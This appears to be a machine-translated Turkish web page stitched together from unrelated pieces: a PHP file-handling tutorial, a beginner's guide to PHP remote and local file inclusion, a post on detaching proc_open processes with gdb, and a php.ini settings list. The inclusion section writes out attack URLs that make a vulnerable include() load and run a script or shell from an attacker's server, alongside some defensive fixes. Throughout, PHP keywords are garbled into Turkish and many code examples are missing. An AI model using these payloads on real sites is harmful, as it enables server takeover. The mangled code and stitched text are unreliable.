Dosyaları ve harici verileri açma. PHP betiklerinin potansiyel güvenlik açığı. PHP'de dosyalarla çalışma: açma, yazma, okuma

  • 03.11.2019
16.5K

Aslında, bir php dosyasını açmaktan daha büyük bir sorun değil. Ormanın ortasındayken bir şişe bira açmak daha zor olabilir. Ancak yalnızca hevesli programcılar böyle düşünür. Ve yeni başlayanlar için, size dosyalarla çalışmak için php'nin tüm olanaklarından bahsedeceğiz:

php dosyaları

Php uzantılı dosyalar aynı adı taşıyan programlama dilinde yazılmış kodlar içerir. Diğer dillerden farklı olarak php, sunucu taraflı bir programlama dilidir. Yani sunucu tarafında çalışır. Bu nedenle, kodunda hata ayıklamak için istemci makineye yerel bir sunucu kurulmalıdır.

Php dosyalarıyla çalışmak için özel uygulamalar kullanılır - yazılım editörleri. En yaygın olanları:

  • Dreamweaver.
  • PHPDüzenle.
  • Eclipse PHP Geliştirme.
Php tabanlı siteler oluştururken program kodunu yeniden kullanmanız gerekebilir. Bu gibi durumlarda başka bir dosyada bulunan hazır çözümlerin dahil edilmesi uygundur. Bunun için include yapısı kullanılır. Sözdizimi:

dosya adını dahil et

Bağlantı örneği:

Dahil edilen dosya:


Require yapısını kullanarak bir dosya eklemek de mümkündür. Dahil etmekten farklı olarak, program kodu yürütülmeden önce bile dosyayı içerir. Kodda require ile bu dosyaya yalnızca bir çağrı yapılabilir. Tekrar ararsanız, sistem genel bir hata mesajı verir ve programın yürütülmesini durdurur.

include yapısı, kaynağı yalnızca programın yürütülmesi sırasında içerir. PHP dosyasının çoklu okumasını destekler. Bir hata oluşursa, yalnızca bir uyarı mesajı görüntülenecek ve kod yürütme sonraki satırdan devam edecektir.

Dosyaları Açma ve Kapatma

Php'de dosyalarla yapılan tüm işlemler birkaç aşamada gerçekleştirilir:

  • Dosya açma;
  • İçeriği düzenleme;
  • Dosyayı kapatıyorum.

Dosyayı açmak için fopen() işlevi kullanılır. Sözdizimi:

int fopen (dize dosya adı, dize modu [, int use_include_path])

Kabul edilen argümanlar:

  • string filename - dosya adı veya dosyanın mutlak yolu. Dosyanın yolu belirtilmemişse, geçerli dizinde aranacaktır. Aradığınız dosya eksikse, sistem bir hata mesajı gösterecektir. Örnek:

  • string mode - dosyayı açma modunu gösterir. Argüman tarafından kabul edilen değerler:
  • r - dosya salt okunurdur, dosya işaretçisi başlangıçta ayarlanır;
  • r + - dosya okuma ve yazma için açıktır;
  • w - yeni bir salt okunur dosya oluşturulur. Aynı ada sahip bir dosya zaten varsa, içindeki tüm veriler otomatik olarak silinir;
  • w + - yazma ve okuma için yeni bir dosya oluşturur. Böyle bir dosya varsa, verilerinin üzerine tamamen yenileri yazılır;
  • a - dosya yazmaya açıktır. İşaretçi sonunda konumlandırılır. Yani php dosyasına yazmak baştan değil sondan başlayacak;
  • a + - bir dosyayı okuma ve yazma modunda açar. Kayıt sondan başlayacak;
  • b - ikili veri içeren bir dosyayla çalışma modu (ikili hesap sisteminde). Bu mod yalnızca Windows işletim sisteminde kullanılabilir.

Bir dosyaya erişimi kapatmak için fclose() işlevini kullanın. Sözdizimi:

int fclose (int dosyası), burada int dosyası kapatılacak site tanımlayıcısıdır.

Her okuma veya yazma işleminden sonra dosya bu fonksiyonla kapatılmalıdır. Aksi takdirde, dosya için oluşturulan akış açık kalır. Bu da sunucu kapasitelerinin gereksiz tüketimine yol açar.

Örnek:

Dosyaları okuma ve yazma

readfile () işlevi, bir dosyanın tüm içeriğini basitçe görüntülemek için idealdir. Sözdizimi:

readfile (dize dosya adı), burada dize dosya adı dize dosya adıdır (tanımlayıcı değil).


Aynı dosya fpassthru () işlevi kullanılarak da okunabilir. İşaretçinin son konumundan dosyanın sonuna kadar olan verileri okur. Sözdizimi:

int fpassthru (int dosyası)

İşlev, bir dosyanın açılmasını ve kapatılmasını gerektirir. Örnek:

Sonuç öncekine benzer.

Php'deki dosyalarla çalışma işlevleri, içeriği satır satır ve karakter karakter okumanıza olanak tanır:

  • string fgets (int dosyası, int uzunluğu)- işlev, uzunluk uzunluğunda bir dize okur. Örnek:

  • string fread (int dosyası, int uzunluğu)- eylem öncekiyle aynıdır.

Bir dosyaya metin verisi yazmak için iki özdeş işlev vardır:

  • int fputs (int dosyası, dize dizesi [, int uzunluk])
  • int fwrite (int dosyası, dize dizesi [, int uzunluk])

İşlevler, dosyaya int dosyasına belirtilen uzunlukta bir dize dizesi yazar int uzunluğu ( isteğe bağlı argüman). Örnek:

Dosya oluşturma ve silme

Bir php dosyası oluşturmak için "w" veya "w +" erişim modunda fopen () işlevini kullanabilirsiniz. Veya dokunma () işlevi. Dosya için değişiklik zamanını ayarlar. Gerekli ada sahip bir öğe yoksa, oluşturulacaktır. Onun sözdizimi.

Yeni başlayanlar için php enjeksiyonunun temelleri.​


PHP enjeksiyonu(İngilizce PHP enjeksiyonu) - hakkında PHP web sitelerini hacklemenin bir yolu, sunucu tarafında üçüncü taraf kodunu çalıştırmaktır. Potansiyel olarak tehlikeli işlevler şunlardır:
değerlendirme (),
preg_replace () ("e" değiştiricisiyle),
gerekli_once(),
dahil_once(),
Dahil etmek (),
gerekmek (),
oluştur_işlev ().

Girdi parametreleri onaylanmadan kabul edilir ve kullanılırsa PHP enjeksiyonu mümkün olur.

Genişletmek için tıklayın...

(c) Wiki


Temeller.​

Php-enjeksiyon bir saldırganın saldırı altındaki bir php uygulamasına kendi php kodunu enjekte ettiği bir web sitesine yapılan bir saldırı şeklidir.
Enjeksiyon başarılı olursa, saldırgan hedef sunucuda rastgele (potansiyel olarak tehlikeli) pkhp kodu çalıştırabilir. Örneğin, kabuğu doldurun. Ama önce, bunun nasıl olduğunu ayrıntılı olarak çiğneyelim.

Örneğin:
PHP ile yazılmış bir web sitemiz olduğunu düşünelim.
Ayrıca sitenin şu komutu kullandığını düşünelim. sayfa = sayfa.htmlİstenen sayfayı görüntülemek için
Kod şöyle görünecek:

$ dosya = $ _GET ["sayfa"]; // Görüntülenen sayfa
dahil et ($ dosyası);
?>

Bu, sayfada görüntülenen her şeyin bu sayfanın php koduna gömüleceği anlamına gelir. Bu nedenle, saldırgan şöyle bir şey yapabilir:

http: //www.attacked_site.com/index.php?page=http://www.attacking_server.com/ malware_script.txt?

Dahil etme yürütüldükten sonra ne olduğuna bakarsak, hedef sunucuda yürütülen aşağıdaki kodla karşılaşacağız:

$ dosya = "http: //www.attacking_server.com/malicious_script.txt?"; // $ _ GET ["sayfa"];
dahil et ($ dosyası); // $ file, bir saldırgan tarafından enjekte edilen bir komut dosyasıdır
?>

Saldırganın hedef sunucuya başarıyla saldırdığını görebiliriz.

Daha fazla detay:
Peki saldırgan neden PHP enjeksiyonu yapabildi?
Hepsi çünkü işlev Dahil etmek () uzak dosyaları çalıştırmanıza izin verir.

Örnekte belirtilen uzantıya sahip bir komut dosyası neden vardı? * .txt , Ama değil * .php ?
Komut dosyası formata sahipse cevap basittir * .php , hedef sistem yerine saldırganın sunucusunda çalışır.

Sembol " ? "işlev içindeki herhangi bir şeyi kaldırmak için enjekte edilen komut dosyası yolunda Dahil etmek () hedef sunucuda.
Örnek:

$ dosya = $ _GET ["sayfa"];
dahil ($ dosyası. ".php");
?>

Bu komut dosyası uzantıyı ekler * .php komut tarafından çağrılan herhangi bir şeye Dahil etmek () .
Onlar.

http: //www.attacking_service.com/ kötü niyetli_script.txt

Dönüşür

http: //www.attacking_service.com/ kötü niyetli_script.txt.php

Komut dosyası bu adla çalışmaz (saldırganın sunucusunda dosya yok) / kötü niyetli_script.txt.php)
Bu yüzden "?" ekliyoruz. kötü amaçlı komut dosyasına giden yolun sonunda:

http: //www.attacking_service.com/ kötü niyetli_script.txt?.php

Ancak yürütülebilir durumda kalır.

include () işlevi güvenlik açığı yoluyla PHP enjeksiyonu.​

RFI - PHP enjeksiyonu için uzak içerir.


RFI yeteneği, motorlarda oldukça yaygın bir hatadır.
Aşağıdaki gibi bulabilirsiniz:
Diyelim ki yanlışlıkla tarayıcının adres çubuğunda şu şekilde biten bir sayfaya rastladık:

/ dizin. php? sayfa = ana

bunun yerine değiştirin ana herhangi bir sanrısal anlam, örneğin upyachka

/ dizin. php? sayfa = upyachka

Yanıt olarak bir hata alırız:

Uyarı: ana (upyachka. Php): akış açılamadı: 3. satırda / home / user / www //page.php içinde böyle bir dosya veya dizin yok

Uyarı: ana (upyachka. Php): akış açılamadı: / home / user / www / sayfasında böyle bir dosya veya dizin yok. 3. satırda php

Uyarı: main (): Dahil edilmek üzere "upyachka.php" açılamadı (include_path = ".: / usr / lib / php: / usr / yerel / lib / php: / usr / yerel / paylaşım / armut") / ana sayfa / kullanıcı / www / sayfada. 3. satırda php

Bu bize katılımın mümkün olduğunu gösteriyor.
yerine koymaya çalışıyoruz upyachka kabuğa giden yolu olan bir site (kabuk dosya uzantısı belirtilmemeli veya yukarıda açıklandığı gibi belirtilmemelidir)

http: //www.attacked_server.com/index.php?file=http://www.attacked_site.com/shell

Böylece bir kabuk elde edilir. Şimdi site yöneticisini güvenlik açığı hakkında bilgilendirmeniz gerekiyor, böylece onu düzeltecek ve kötü adamlar hatadan faydalanmadı.

LFI - PHP enjeksiyonu için yerel içerir.


Diyelim ki aynı savunmasız siteye rastladık.

/ dizin. php? dosya = ana

kod ile

..
Dahil et ("klasör / $ sayfa .htm");

?>

Bu zaten yerel bir içermedir. Bu durumda, yalnızca dosyaların listelenmesi mümkündür:

/ dizin. php? sayfa = .. / dizin. php

Bir sonraki durumda, kod şöyle görünür:

..
Dahil et ("$ dir1 /klasör/sayfa.php");

?>

Bu durumda, kabuğun yolunu aşağıdaki gibi yazabilirsiniz:
Klasör oluştur dosya kabuğun depolandığı sitede, kabuğu şu klasöre bırakıyoruz:

http: //www.attacker_site.com/klasör/shell.php

Bu durumda, enjeksiyon şöyle görünecektir:

dizin. php? dir1 = http: //www.attacker_site.com/

Koruma yöntemleri


Senaryoyu düşünün:

...

$ modülünü içerir. ".php";
...
?>

Bu komut dosyası savunmasızdır çünkü değişkenin içeriği $ modülü sadece ekledim * .php ve dosya sonuçtaki yolda başlatılır.

Böyle bir saldırıya karşı savunmanın birkaç yolu vardır:


- $ modülü değişkeninin gereksiz karakterler içerip içermediğini kontrol edin:

...
$ modül = $ _GET ["modül"];
if (strpbrk ($ modül, ".? /:")) die ("Engellendi");
$ modülünü içerir. ".php";
...
?>

-$ modülüne geçerli değerlerden birinin atandığını kontrol edin:
"/", "", $ sayfa); // Diğer dizinlere geçiş imkanı engellendi.
if (file_exists ("dosyalar / $ sayfa .htm"))
{
Dahil et ("dosyalar / $ sayfa .htm" );
}
Başka
{
Eko
"hata";
}

?>

PHP ayrıca php.ini yapılandırma dosyasında allow_url_fopen seçeneğinin değerini Off olarak değiştirerek uzak dosyaların kullanımını devre dışı bırakma olanağı sağlar.

Açıklanan güvenlik açığı site için büyük bir tehlike oluşturmaktadır ve PHP betiklerinin yazarları bunu unutmamalıdır.

Yazı malzemeleri kullanıldığında
Vikipedi,
yabancı forum security-sh3ll'den (spl0it),
forumdan Antichat (GreenBear).
Özellikle ..... 'ya teşekkür Burt ve f02 yardım için,
destek ve iyi eleştiri)

Hafta sonu biraz zamanım vardı, bu yüzden * nix sistemlerinde proc_open() üzerinde biraz araştırma yaptım.

Oysa proc_open (), kabuk betiği arka planda çalışmasa bile PHP betiğinin yürütülmesini engellemez. PHP, siz çağırmadığınız sürece, PHP betiğinin tamamı yürütüldükten sonra otomatik olarak proc_close () öğesini çağırır. Böylece, betiğin sonunda her zaman proc_close() ile bir satırımız olduğunu hayal edebiliriz.

Sorun, proc_close () öğesinin açık olmayan ancak mantıksal ön görüntüsünde yatmaktadır. Diyelim ki şöyle bir scriptimiz var:

$ proc = proc_open ("top -b -n 10000", dizi (dizi ("boru", "r"), dizi ("boru", "w")), $ boruları); // Komut dosyamız tarafından çıkarılan bazı verileri işleyin, ancak tüm veriler yankı fread'i değil ($ borular, 100); // Scipt yürütmesinin bitmesini bekleme - çıkış // boruları kapat array_map (" fclose ", $ borular); // işlemi kapat proc_close ($ proc);

Garip bir şekilde, proc_close () kabuk betiği bitene kadar bekler, ancak betiğimiz kısa bir süre sonra sonlandırıldı. Bu, boruları kapattığımız için olur (eğer unuttuysak PHP bunu sessizce yapıyor gibi görünüyor), çünkü bu komut dosyası zaten var olmayan bir boruya bir şey yazmaya çalışıyor - bir hata alıyor ve çıkıyor.

Şimdi borular olmadan deneyelim (peki, yapacaklar, ancak mevcut tty'yi PHP referansı olmadan kullanacaklar):

$ proc = proc_open ("top -b -n 10000", dizi (), $ borular); proc_close ($ proc);

Şimdi PHP betiğimiz kabuk betiğimizin bitmesini bekliyor. Bundan kaçınabilir miyiz? Neyse ki PHP, kabuk komut dosyalarını şu şekilde oluşturur:

Sh -c "shell_script"

böylece sh işlemini sonlandırabilir ve betiğimizi çalışır durumda bırakabiliriz:

$ proc = proc_open ("top -b -n 10000", dizi (), $ borular); $ proc_status = proc_get_status ($ proc); exec ("öldür -9". $ proc_status ["pid"]); proc_close ($ proc);

Tabii ki, bu işlemi arka planda çalıştırabiliriz, örneğin:

$ proc = proc_open ("top -b -n 10000 &", dizi (), $ boruları); proc_close ($ proc);

ve hiçbir sorunu yok, ancak bu işlev bizi en zor soruya getiriyor: proc_open () ile bir işlem başlatabilir, bazı çıktıları okuyabilir ve ardından işlemi yeniden zorlayabilir miyiz? Eh, bir bakıma, evet.

Buradaki asıl sorun borulardır: onları kapatamayız yoksa işlemimiz ölecek ama bu işlemden gelen yükü okumalarına ihtiyacımız var. Burada bir sihir numarası kullanabileceğimiz ortaya çıktı - gdb.

İlk olarak, aşağıdaki içeriğe sahip bir yerde (/ usr / share / gdb_null_descr örneğimde) bir dosya oluşturun:

P dup2 (açık ("/ dev / null", 0), 1) p dup2 (açık ("/ dev / null", 0), 2)

gdb'ye yeni dosya işleyicileri için (bu örnekte / dev / null, ancak değiştirebilirsiniz) için tanımlayıcı 1 ve 2'yi (genellikle stdout ve stderr) değiştirmesini söyleyecektir.

Şimdi, son bir şey: gdb'nin çalışan diğer işlemlere bağlanabildiğinden emin olun - bu, bazı sistemlerde varsayılan olarak böyledir, ancak örneğin, ubuntu 10.10'da / proc / sys / kernel / yama / ptrace_scope'u 0 olarak ayarlamanız gerekir. root olarak çalıştırmaz.

$ proc = proc_open ("top -b -n 10000", dizi (dizi ("boru", "r"), dizi ("boru", "w"), dizi ("boru", "w")), $ borular); // Komut dosyamız tarafından çıkarılan bazı verileri işleyin, ancak tüm veriler yankı fread'i değil ($ borular, 100); $ proc_status = proc_get_status ($ proc); // Sürecimizin gerçek pidini bulun (işlem ağacında bir adım aşağı gitmemiz gerekiyor) $ pid = trim (exec ("ps h -o pid --ppid". $ Proc_status ["pid"])); // parent sh process exec'i sonlandır ("kill -s 9". $ Proc_status ["pid"]); // Process exec'imizde stdin / stdout işleyicilerini değiştirin ("gdb -p". $ Pid. "--Batch -x / usr / share / gdb_null_descr"); array_map ("fclose", $ boruları); proc_close ($ proc);

edit: PHP'nin Shell betiğinizi anında çalıştırmadığından bahsetmeyi unuttum, bu yüzden diğer kabuk komutlarını çalıştırmadan önce biraz beklemeniz gerekiyor, ancak bu genellikle yeterince hızlıdır (veya PHP yeterince yavaştır) ve eklemek için "tembelim" bu kontroller benim örneklerime.

php.ini dosyasının konumu, barındırma sağlayıcısının sunucusunun çalıştığı işletim sistemine bağlıdır. Nerede olduğunu bulmak için 4 basit adımı izleyin:

  1. Bir php dosyası oluşturun (ad herhangi biri olabilir, ancak myphpinfo.php dosyasını örnek olarak alıyoruz) ve ona aşağıdaki satırları ekleyin:
  2. Bu dosyayı sitenizin bulunduğu sunucuya yükleyin (kök klasörde).
  3. Tarayıcı üzerinden başlatın (https://siteadiniz.com/myphpinfo.php URL'sini girin).
  4. Görünen pencerede, php.ini yolunu arayın (önce, "Yüklenen Yapılandırma Dosyası"na bakın, "Yok" yazıyorsa, ardından "Yapılandırma Dosyası (php.ini) Yolu"na bakın).

php.ini'yi nasıl kurarım?

php.ini dosyası aşağıdaki "direktif = değer" sözdizimi kurallarına sahiptir. Yorum eklemek istiyorsanız (örneğin, bu ayarın neyi etkilediğini belirttiğiniz), noktalı virgülden sonra yapın (bu işaretten sonraki her şey komut olarak sayılmaz). İşte bir örnek:

max_execution_time = 40; Komut dosyası yürütmenin maksimum saniye sayısı

Genel Ayarlar

PHPengine = Açık; PHP betikleri etkinleştirildi.

Short_open_tag = Açık; PHP kodunun basit bir şekilde etiketlenmesine izin verir

Asp_tags = Açık; ASP'de olduğu gibi PHP kodunu vurgulama özelliğini içerir -<% %>

Hassasiyet = 12; Kayan noktalı sayılar için ondalık noktadan sonra kaç basamak olacağını gösterir.

Çıktı_arabelleği = 4096; Çıktı arabelleğe alma, arabellek boyutu "eşittir"den sonra belirtilen şekilde otomatik olarak etkinleştirilecektir.

Safe_mode = Açık; Güvenli mod.

Safe_mode_allowed_env_vars = PHP_; Kullanıcının yalnızca PHP_ ile başlayan ortam değişkenleriyle çalışmasına izin verir. Bu yönerge boşsa (değeri olmayacak), kullanıcılar herhangi bir ortam değişkenini değiştirebilecektir. Bu, komut dosyalarının korunması için çok zararlı olabilir.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH; Virgülle ayrılmış olarak listelenen değişkenlerin değiştirilmesini engeller.

Disable_functions =; "Eşittir" işaretinden sonra, devre dışı bırakmak istediğiniz işlevleri virgülle ayırarak yazmanız gerekir (bu genellikle güvenlik için yapılır)

Disable_classes =; "Eşit" işaretinden sonra, çağrısını yasaklamak istediğiniz sınıfları virgülle ayırarak yazmanız gerekir (bu genellikle güvenlik için yapılır)

Kaynak sınırlaması

max_execution_time = 40; Komut dosyası yürütme için maksimum süre (saniye cinsinden)

Maks_girdi_zamanı = 40; Komut dosyasının yüklenen verileri işlemek için verebileceği saniye cinsinden maksimum süre.

Bellek_limit = 16M; Bir komut dosyasının çalışması için ayrılan maksimum bellek

Hata işleme ve günlükler

error_reporting = E_ALL | E_HATA | E_UYARI | E_PARSE | E_CORE_ERROR | E_CORE_UYARI | E_COMPILE_ERROR | E_COMPILE_UYARI | E_USER_ERROR | E_USER_UYARI | E_USER_NOTICE; Çıktı alınabilecek hataların bir listesini belirtir.

Display_errors = Açık; Hataları doğrudan tarayıcıya göndermenizi sağlar (genellikle hata ayıklamayı kolaylaştırmak için kullanılır).

Display_startup_errors = Açık; PHP başlatma sırasında ortaya çıkan hataların gösterilmesine izin verilir.

Log_errors = Açık; Hataların günlük dosyasına yazılmasına izin verilir.

Log_errors_max_len = 1024; Günlük uzunluğunun yapabileceği maksimum karakter sayısı.

Track_errors = Açık; Son hata mesajı $ php_errormsg değişkenine kaydedilecektir.

Html_errors = Açık; Hata mesajlarının HTML'de izin verilen çıktısı.

Error_log = dosya adı; Hata günlüğünün adını belirtir.

Veri işleme

options_order = "EGPCS"; PHP'nin değişkenleri kaydedeceği sırayı ayarlar (E - yerleşik değişkenler, G - GET değişkenleri, P - POST değişkenleri, C - Çerezler, S - oturumlar). Harflerden herhangi birini kaldırırsanız, ilgili değişkenlerin çalışması engellenir.

Register_globals = Açık; GET / POST / Cookie / session aracılığıyla alınan değişkenlere normal değişkenler olarak atıfta bulunma yeteneğini etkinleştirir (örneğin "$ değişkenadı").

Register_argc_argv = Açık; GET yöntemindeki bilgilere dayalı olarak $ argv ve $ argc değişkenlerinin oluşturulmasına izin verilir.

Post_max_size = 8M; Alınabilecek maksimum veri miktarını ayarlar.

Magic_quotes_gpc = Açık; POST / GET / Cookie yoluyla gelen tekliflerin otomatik olarak işlenmesini sağlar.

Auto_prepend_file =; Bu yönergelerde belirtilen dosyaların içeriği, komut dosyası çalıştırılmadan ÖNCE PHP tarafından uygun şekilde işlenmelidir.
auto_append_file =; Bu yönergelerde belirtilen dosyaların içeriği, komut dosyası çalıştırıldıktan SONRA PHP tarafından uygun şekilde işlenmelidir.

Default_mimetype = "metin / html"; İçerik türü için kodlamayı belirtir. Varsayılan olarak, kodlama belirtilmeden metin / html kullanılacaktır.

doc_root =; PHP betikleri için kök klasörü ayarlar.

Extension_dir = "./"; Dinamik olarak yüklenen uzantıların depolanacağı klasörü ayarlar.

Dosya yükleme

file_uploads = Açık; Dosyaların sunucuya yüklenmesine izin verilir.

Upload_tmp_dir =; Yüklenecek dosyalar için geçici dizin.

Upload_max_filesize = 2M; Yüklenebilecek maksimum dosya boyutunu ayarlar.

Soketlerle çalışma

user_agent = "PHP"; USER_AGENT değişkeni, soket bağlantısı yapıldığında ayarlanır.

Default_socket_timeout = 30; Bir sokette dinlemek için maksimum süre (saniye).

Oturumlar

session.save_handler = dosyalar; Oturum bilgilerinin dosyalarda saklanması gerektiğini söylüyor

session.save_path = /tmp; "Eşit" işaretinden sonra, oturumlarla ilgili bilgilerin saklanacağı klasörün yolunu belirtmeniz gerekir (klasörün zaten mevcut olması önemlidir)

session.use_cookies = 1; Oturumlarda çerez kullanımına izin verir

session.name = PHPSESSID; Oturum adı ve oturum tanımlama bilgisi olarak kullanılacağını belirtir - oturum kimliği

session.cookie_lifetime = 0; Oturum ömrü ("0", oturumun tarayıcı penceresi kapanana kadar devam ettiği anlamına gelir)

session.use_trans_sid = 1; Kullanıcı çerezi devre dışı bıraktıysa, tüm bağlantılara oturum kimliği eklenecektir.

Dinamik uzantılar

uzantı = modüladı.uzantı; Harici modülleri yüklemek için kullanılabilir. Windows sistemleri için genellikle şöyle yazarlar - extension = msql.dll ve için
UNIX - uzantı = msql.so

MySQL modülleriyle çalışma

mysql.allow_persistent = Açık; Kalıcı MySQL bağlantılarına izin verir.

Mysql.max_persistent = -1; Kalıcı MySQL bağlantılarının maksimum sayısını ayarlar. -1 belirtirseniz, herhangi bir kısıtlama olmadığı anlamına gelir.

Mysql.max_links = -1; Kalıcı MySQL bağlantılarının ve kararsız ODBC bağlantılarının maksimum sayısını belirtir. -1 belirtirseniz, herhangi bir kısıtlama olmadığı anlamına gelir.

Mysql.default_port =; mysql_connect işlevi için bağlantı noktası.

Mysql.default_socket =; Yerel MySQL bağlantıları için soket adı.

Mysql.default_host =; mysql_connect işlevinin ana bilgisayar adı.

Mysql.default_user =; Kullanıcı adı.

Mysql.default_password =; Parola.

Kendi php.ini dosyanızı oluşturup site klasörüne yerleştirdiyseniz

Bu durumda, güvenlik nedeniyle, sizin dışınızdaki herkesin erişimini engellemeniz gerekir. Bunu yapmak için .htaccess dosyasına aşağıdaki kodu yazmanız gerekir:


izin ver, reddet
herkesten inkar

Ama dikkatli ol, çünkü bu ayarlarla, .htaccess dosyası aracılığıyla php ayarlarıyla ilgili tüm yönergeler (php_value, php_flag, vb.) çalışmayı durduracaktır (500 Dahili Sunucu Hatası oluşturulacaktır).

Önemli! Kendi php.ini dosyanızı oluşturursanız, bu yalnızca bulunduğu dizini etkiler.